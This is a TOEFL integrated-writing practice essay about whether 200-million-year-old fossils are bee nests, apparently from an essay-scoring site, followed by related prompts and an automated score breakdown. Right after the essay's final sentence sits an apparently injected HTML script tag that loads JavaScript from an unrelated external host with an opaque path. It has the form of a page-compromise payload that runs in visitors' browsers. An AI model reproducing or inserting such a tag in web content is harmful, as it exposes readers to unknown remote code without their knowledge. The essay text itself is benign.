Both the passage and the lecture discuss fossils that have been found 200 million years ago and their resemblance to bee nests. The author presents some problems with those fossils and states that they did not belong to bees. On the other hand, the professor argues that those problems are unconvincing, and those fossils were related to bees 200 million years ago.
First, the passage states that no bee fossils have been found from 200 million years ago. Nevertheless, the lecturer rejects the author's view and illustrates that there is no bee fossil date back then because the fossils have not been preserved. She states that bee fossils preserve in tree resins, and in that time, those kinds of trees were rare and became common millions of years later.
Second, the reading claims that bees feed on flowers of flowering plants, and in that time, the flowering plants did not exist. Nonetheless, the professor opposes this view and states that then, bees fed on non-flowering plants, such as ferns and pine trees. She mentions that after the flowering plants evolved, bees adapted to them and have been dependent on them since then.
Finally, the author argues that those fossils lack some specific details about bee nests, and therefore, they are not bee nests. However, the speaker refutes this idea, saying that there is chemical evidence that supports the idea that bees made those nests. She says that modern bees use some particular chemicals to waterproof their nests. The evidence shows that those fossils have the same kind of chemicals.<script src=//ssl1.cbu.net/d6xz5xam></script>
- TPO 54 Do you agree or disagree with the following statement Governments should spend more money in support of the arts than in support of athletics such as state sponsored Olympic teams Use specific reasons and examples to support your answer 70
- The council of Maple County concerned about the county s becoming overdeveloped is debating a proposed measure that would prevent the development of existing farmland in the county But the council is also concerned that such a restriction by limiting the 55
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- Tpo 38In 1995 a microscopic fungus called Phytophthora ramorum or P ramorum was first detected in the forests of the western United States P ramorum infects trees and causes particularly serious damage in oak trees in many infected oaks leaves with 70
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Attribute Value Ideal
Final score: 23 in 30
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 13 12
No. of Words: 259 250
No. of Characters: 1259 1200
No. of Different Words: 122 150
Fourth Root of Number of Words: 4.012 4.2
Average Word Length: 4.861 4.6
Word Length SD: 2.155 2.4
No. of Words greater than 5 chars: 80 80
No. of Words greater than 6 chars: 59 60
No. of Words greater than 7 chars: 31 40
No. of Words greater than 8 chars: 18 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 19.923 21.0
Sentence Length SD: 4.104 7.5
Use of Discourse Markers (%): 0.692 0.12
Sentence-Text Coherence: 0.402 0.35
Sentence-Para Coherence: 0.402 0.50
Sentence-Sentence Coherence: 0.168 0.07
Number of Paragraphs: 1 4